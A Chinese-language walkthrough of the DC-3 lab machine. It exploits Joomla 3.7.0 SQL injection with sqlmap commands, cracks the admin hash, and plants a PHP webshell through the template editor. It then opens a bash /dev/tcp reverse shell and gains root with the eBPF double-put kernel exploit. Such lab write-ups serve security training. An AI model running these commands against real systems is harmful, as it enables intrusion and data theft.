当前位置: 首页 > news >正文

小H靶场笔记:DC-3

DC-3

January 3, 2024 4:11 PM
Tags:Joomla
owner:只惠摸鱼

信息收集

  • 探测靶机ip: 192.168.199.133

    在这里插入图片描述

  • nmap 扫描端口、 系统版本 漏洞

    在这里插入图片描述

    • 发现只有80端口开发, 且有cve-2017-8917漏洞存在
    • 是Joomla的SQL注入漏洞 Joomla版本为3.7.0
  • 打开页面看一下发现有登录页面,可以尝试弱口令,sql注入 或 爆破(页面有提示。只有一个flag,且为root权限才能看到)

    在这里插入图片描述

    • 尝试弱口令无果

漏洞利用

  • 使用kali中searchsploit 搜索cve-2017-8917 即搜索joomla 3.7.0的漏洞

在这里插入图片描述

  • 查看内容
    • searchsploit -x php/webapps/42033.txt

      在这里插入图片描述

    • 发现可以直接使用sqlmap 爆数据库

SQLmap爆数据

  • 爆数据库(默认配置选项)
    • sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
      在这里插入图片描述

    • 得到数据库joomladb

  • 爆数据库表
    • sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” --tables --batch -p list[fullordering]

      • —batch是为了使其默认使用默认配置选项

      在这里插入图片描述

    • 得到表#__users

  • 爆表字段名(不能使用默认,需要手动y一下)
    • sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” --columns -p list[fullordering]

      在这里插入图片描述

    • 只需查字段username 和 password中的值就可以了

  • 爆数据
    • sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” -C “username,password” --dump -p list[fullordering]

      在这里插入图片描述

    • 拿到admin账号 和一个 hash加密的密码

john解密

  • 密码:$2y 10 10 10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu,放入txt文档

    在这里插入图片描述

    • 使用john进行解密
      在这里插入图片描述

    • 得到管理员账户密码

  • 发现还没有扫过目录,扫一下,看看是不是有管理员登录端(80端口只有用户端)

    • dirb http://192.168.199.133
      在这里插入图片描述

    • 发现有管理员页面

      在这里插入图片描述

    • 使用刚才得到的管理员账号密码登录,进入后端管理页面

      在这里插入图片描述

    • 寻找是否有能上传文件的地方,尝试了一些,都不太行,最后找到了一个可以直接写php代码的页面。

      在这里插入图片描述

    • 新增一个php文件类型,写入一句话木马
      在这里插入图片描述

    • 发现上方有提示的路径,尝试直接访问一下

      在这里插入图片描述

    • 发现不通, 百度了joomla的文件路径
      在这里插入图片描述

    • 发现一个熟悉的单词, 尝试用这个试一下(没报错,有戏)
      在这里插入图片描述

      • 继续尝试目录或文件,发现没报错。

        在这里插入图片描述

      • 尝试一下phpinfo(),成功!

      在这里插入图片描述

  • 使用蚁剑直接连接
    在这里插入图片描述

    • 成功连接

      在这里插入图片描述

    • 打开命令端口,发现不是root 也不是管理员权限

    在这里插入图片描述

提权

  • 查看系统内核版本

    在这里插入图片描述

  • 直接使用searchsploit Ubuntu 16.04查询相关漏洞,对比内核版本和漏洞类型,使用39772

    在这里插入图片描述

  • 查看漏洞内容,最上面的连接可以直接拉到浏览器查看详细信息(个人认为比较方便)

    • searchsploit -x linux/local/39772.txt

      在这里插入图片描述

  • 根据漏洞信息,和下方提供的漏洞下载链接下载到kali,通过蚁剑上传到后台解压exploit(这里是我运行过一次)

    在这里插入图片描述

  • 将shell反弹给本地

    • 本地监听1234端口

      在这里插入图片描述

    • 被控端运行bash -c 'bash -i >& /dev/tcp/192.168.199.129/1234 0>&1’

    • 本地得到shell

      在这里插入图片描述

  • 进入到ebpf_mapfd_doubleput_exploit运行./compile.sh会生成doubleput

  • 然后再运行./doubleput等待数秒,得到root权限

    在这里插入图片描述

  • 生成交互性shell

    • python3 -c 'import pty; pty.spawn(“/bin/bash”)’

      在这里插入图片描述

  • 进入/root 查询文件,找到flag。
    在这里插入图片描述

http://www.lryc.cn/news/272729.html

相关文章:

  • Web网页开发-CSS高级技巧2-笔记
  • C++面向对象语法总结(二)
  • 【LeetCode每日一题】2487. 从链表中移除节点(调用栈+递归+翻转链表)
  • 开源协助平台工程灵活应对多云时代的挑战
  • Springboot通过profiles切换不同环境使用的配置
  • SpringBoot入门到精通-Spring Boot Jasypt Encrypt 演示
  • 整数的阶乘(英语:factorial)是所有小于及等于
  • 音视频通信
  • docker 搭建gitlab 恢复和备份
  • 尚硅谷2023版Promise教程从入门到实战(讲师:任安萍)
  • 【SpringBoot】分组校验和自定义校验
  • 19、BLIP-2
  • 【微服务核心】MyBatis Plus
  • 什么是Alibaba Cloud Linux?完全兼容CentOS,详细介绍
  • Spark---RDD算子(单值类型Value)
  • 数据库中的MVCC--多版本并发控制
  • wps将姓名处理格式为:姓**
  • 2023年我的编程之旅:技术演进与自我成长的纪录
  • 好用免费的WAF---如何安装雷池社区版
  • 看似 bug 又非 bug 的一个 bug
  • mysql常见问题
  • QT上位机开发(串口界面设计)
  • k8s之pod
  • 第二百四十三回 再分享一个Json工具
  • electron自定义菜单
  • 变量和函数提升(js的问题)
  • Excel 插件:ASAP Utilities Crack
  • hyperf 十九 数据库 二 模型
  • 使用python快速开发与PDF文档对话的Gemini聊天机器人
  • Spring Cloud Gateway集成Knife4j